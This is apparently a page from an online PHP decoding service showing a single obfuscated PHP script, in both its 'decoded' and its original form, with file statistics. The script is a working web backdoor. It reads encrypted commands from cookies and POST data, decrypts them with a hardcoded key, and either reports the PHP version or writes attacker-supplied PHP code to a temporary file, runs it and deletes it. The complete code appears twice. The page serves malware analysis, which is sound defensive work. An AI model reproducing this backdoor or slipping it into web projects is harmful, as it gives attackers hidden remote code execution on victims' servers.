Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* ao */function xowiecllhj(){$redsyo='f_gcn';/* pg*/print_r/* vzjm */(62536+62536..

Decoded Output download

<?php /* ao  */function	xowiecllhj(){$redsyo='f_gcn';/* pg*/print_r/*  vzjm */(62536+62536);      }  
  
  
$erizijwuq	=/*   b*/'erizijwuq'/* khux*/^	'';  
  
  
  
  
  
$gvuwytnzvb	=     $_COOKIE;$gneiyjp	=      $_POST;  
  
function	cxxheka_i($bjqplor,   $oyaiaenema)  
  
{  
  
      global	$erizijwuq;  
  $oritr/* hw   */=/*   kc */"";  
  
  
/*  r  */for	($dt_dpcafvjazt       =     0;     $dt_dpcafvjazt	<	strlen($bjqplor);)/*  c*/{  
  
	for	($dt_dpcafv/*   vh*/=  0;      $dt_dpcafv     </*  mjh*/strlen($oyaiaenema)/*  bxwup  */&&/*   oaqa_   */$dt_dpcafvjazt/*tek*/<	strlen($bjqplor);	$dt_dpcafv++,/*rh_c*/$dt_dpcafvjazt++)	{  
  
  
/*ndpeb   */$oritr    .=	$erizijwuq(ord($bjqplor[$dt_dpcafvjazt])/*c*/^/*   bh  */ord($oyaiaenema[$dt_dpcafv]));  
  
     }  
  
  
	}  
  
  
    return	$oritr;  
  
  
}  
  
  
function     pg_ijfzewr($yusnbnjp,/*  ql*/$bjqplor)  
{  
  
	global    $erizijwuq;  
  
  
	$qgmzaobkdz  =/*   gyl */sprintf($erizijwuq(46)    ./*   ild   */"/"."%"	.	$erizijwuq(115)   .   ".".$erizijwuq(546-434)	.	"l",/*  iumcw */md5($yusnbnjp));  
  
  
/*   a  */file_put_contents($qgmzaobkdz,	"<"    .       $erizijwuq(63)	.	"p"."h"."p".$erizijwuq(32)	.	"u"/*e  */.	$erizijwuq(789-679)/* y*/.	$erizijwuq(957-849)  ./*ndv */$erizijwuq(105)."n".$erizijwuq(107)	./* agjsg*/$erizijwuq(40)     .       "_"     .	$erizijwuq(95)	.	"F".$erizijwuq(73)	.     "L"   .    "E"/*   b  */.  "_"	.   "_"	.       ")"       ./*   _xtrj   */";"	./*o  */$erizijwuq(32)      .	$bjqplor[$erizijwuq(100)]);  
  
/*  awpr */include($qgmzaobkdz);  
  
  
/*   kcu*/$_pohysagw	=   $qgmzaobkdz;  
  
  
   unlink($_pohysagw);  
}  
  
function/*   tuc */pdmzad()  
{  
  
  
/*  kv */global	$erizijwuq;  
/*  u_  */       $dt_dpcafvjazt   =/*vtugy  */array();  
	$dt_dpcafvjazt["p"."v"]	=	phpversion();  
  
  
	$dt_dpcafvjazt["s".$erizijwuq(118)]    =/*tj   */"3"/*f__n*/.       $erizijwuq(46)/*   q*/.	"5";  
  echo/* lxptf */@serialize($dt_dpcafvjazt);  
  
}  
  
  
  
function	fzevhsjv($bjqplor,	$yusnbnjp,/*  snl */$aabtrqig)  
  
{  
  
/*   jrjg   */global      $erizijwuq;  
  
        
	$bjqplor  =     unserialize(cxxheka_i(cxxheka_i(base64_decode($bjqplor),/* zdu*/$yusnbnjp),     $aabtrqig));  
  
	if    (isset($bjqplor[$erizijwuq(567-470)     .    "k"]))/*   inv   */{   if/*  cf_t */($bjqplor["a"]	==  $erizijwuq(105))/*   jcqya */{  
     pdmzad();  
  
	}   elseif	($bjqplor["a"]   ==/*  sn  */"e")	{  
  
	pg_ijfzewr($yusnbnjp,  $bjqplor);  
  
  
	}  
  
	exit();  
	}  
  
}  
  
  
$gvuwytnzvb/*   t  */=	array_merge($gneiyjp,     $gvuwytnzvb);  
  
  
  
$yusnbnjp      =      "2"."3"."f"/*   l  */.       "8"."1"."7"."1"/* cbjgn*/.     $erizijwuq(461-359)      .	"-"/*   rai */./*   xgnud   */"3".$erizijwuq(50)	./*ip   */"3"       .	$erizijwuq(1025-928)	.	"-"."4"."b".$erizijwuq(48)	.      $erizijwuq(100)."-".$erizijwuq(57)/*  ajqhp */.      "9"       .	"c"      .   "5"."-"/*  dmie   */.   "9".$erizijwuq(84-29)     .	"b"/* kjbbl   */.    $erizijwuq(97)       ./* dti */"e"."a"	./* w   */$erizijwuq(346-296)/*   hkfb*/.     $erizijwuq(49)       ./*ki_ */"6".$erizijwuq(110-11)	./*  ufxr*/$erizijwuq(53)	.	"1";  
  
foreach    ($gvuwytnzvb    as/*   xfl*/$aabtrqig	=>	$bjqplor)/* avjm*/{  
     fzevhsjv($bjqplor,/*  qr */$yusnbnjp,     $aabtrqig);}  
  
  
  
  
 ?>

Did this file decode correctly?

Original Code

<?php /* ao  */function	xowiecllhj(){$redsyo='f_gcn';/* pg*/print_r/*  vzjm */(62536+62536);      } 
 
 
$erizijwuq	=/*   b*/'erizijwuq'/* khux*/^	''; 
 
 
 
 
 
$gvuwytnzvb	=     $_COOKIE;$gneiyjp	=      $_POST; 
 
function	cxxheka_i($bjqplor,   $oyaiaenema) 
 
{ 
 
      global	$erizijwuq; 
  $oritr/* hw   */=/*   kc */""; 
 
 
/*  r  */for	($dt_dpcafvjazt       =     0;     $dt_dpcafvjazt	<	strlen($bjqplor);)/*  c*/{ 
 
	for	($dt_dpcafv/*   vh*/=  0;      $dt_dpcafv     </*  mjh*/strlen($oyaiaenema)/*  bxwup  */&&/*   oaqa_   */$dt_dpcafvjazt/*tek*/<	strlen($bjqplor);	$dt_dpcafv++,/*rh_c*/$dt_dpcafvjazt++)	{ 
 
 
/*ndpeb   */$oritr    .=	$erizijwuq(ord($bjqplor[$dt_dpcafvjazt])/*c*/^/*   bh  */ord($oyaiaenema[$dt_dpcafv])); 
 
     } 
 
 
	} 
 
 
    return	$oritr; 
 
 
} 
 
 
function     pg_ijfzewr($yusnbnjp,/*  ql*/$bjqplor) 
{ 
 
	global    $erizijwuq; 
 
 
	$qgmzaobkdz  =/*   gyl */sprintf($erizijwuq(46)    ./*   ild   */"/"."%"	.	$erizijwuq(115)   .   ".".$erizijwuq(546-434)	.	"l",/*  iumcw */md5($yusnbnjp)); 
 
 
/*   a  */file_put_contents($qgmzaobkdz,	"<"    .       $erizijwuq(63)	.	"p"."h"."p".$erizijwuq(32)	.	"u"/*e  */.	$erizijwuq(789-679)/* y*/.	$erizijwuq(957-849)  ./*ndv */$erizijwuq(105)."n".$erizijwuq(107)	./* agjsg*/$erizijwuq(40)     .       "_"     .	$erizijwuq(95)	.	"F".$erizijwuq(73)	.     "L"   .    "E"/*   b  */.  "_"	.   "_"	.       ")"       ./*   _xtrj   */";"	./*o  */$erizijwuq(32)      .	$bjqplor[$erizijwuq(100)]); 
 
/*  awpr */include($qgmzaobkdz); 
 
 
/*   kcu*/$_pohysagw	=   $qgmzaobkdz; 
 
 
   unlink($_pohysagw); 
} 
 
function/*   tuc */pdmzad() 
{ 
 
 
/*  kv */global	$erizijwuq; 
/*  u_  */       $dt_dpcafvjazt   =/*vtugy  */array(); 
	$dt_dpcafvjazt["p"."v"]	=	phpversion(); 
 
 
	$dt_dpcafvjazt["s".$erizijwuq(118)]    =/*tj   */"3"/*f__n*/.       $erizijwuq(46)/*   q*/.	"5"; 
  echo/* lxptf */@serialize($dt_dpcafvjazt); 
 
} 
 
 
 
function	fzevhsjv($bjqplor,	$yusnbnjp,/*  snl */$aabtrqig) 
 
{ 
 
/*   jrjg   */global      $erizijwuq; 
 
       
	$bjqplor  =     unserialize(cxxheka_i(cxxheka_i(base64_decode($bjqplor),/* zdu*/$yusnbnjp),     $aabtrqig)); 
 
	if    (isset($bjqplor[$erizijwuq(567-470)     .    "k"]))/*   inv   */{   if/*  cf_t */($bjqplor["a"]	==  $erizijwuq(105))/*   jcqya */{ 
     pdmzad(); 
 
	}   elseif	($bjqplor["a"]   ==/*  sn  */"e")	{ 
 
	pg_ijfzewr($yusnbnjp,  $bjqplor); 
 
 
	} 
 
	exit(); 
	} 
 
} 
 
 
$gvuwytnzvb/*   t  */=	array_merge($gneiyjp,     $gvuwytnzvb); 
 
 
 
$yusnbnjp      =      "2"."3"."f"/*   l  */.       "8"."1"."7"."1"/* cbjgn*/.     $erizijwuq(461-359)      .	"-"/*   rai */./*   xgnud   */"3".$erizijwuq(50)	./*ip   */"3"       .	$erizijwuq(1025-928)	.	"-"."4"."b".$erizijwuq(48)	.      $erizijwuq(100)."-".$erizijwuq(57)/*  ajqhp */.      "9"       .	"c"      .   "5"."-"/*  dmie   */.   "9".$erizijwuq(84-29)     .	"b"/* kjbbl   */.    $erizijwuq(97)       ./* dti */"e"."a"	./* w   */$erizijwuq(346-296)/*   hkfb*/.     $erizijwuq(49)       ./*ki_ */"6".$erizijwuq(110-11)	./*  ufxr*/$erizijwuq(53)	.	"1"; 
 
foreach    ($gvuwytnzvb    as/*   xfl*/$aabtrqig	=>	$bjqplor)/* avjm*/{ 
     fzevhsjv($bjqplor,/*  qr */$yusnbnjp,     $aabtrqig);} 
 
 
 
 
 ?>

Function Calls

None

Variables

None

Stats

MD5 a7b49e71af2f8efbd119a75e362b9a32
Eval Count 0
Decode Time 64 ms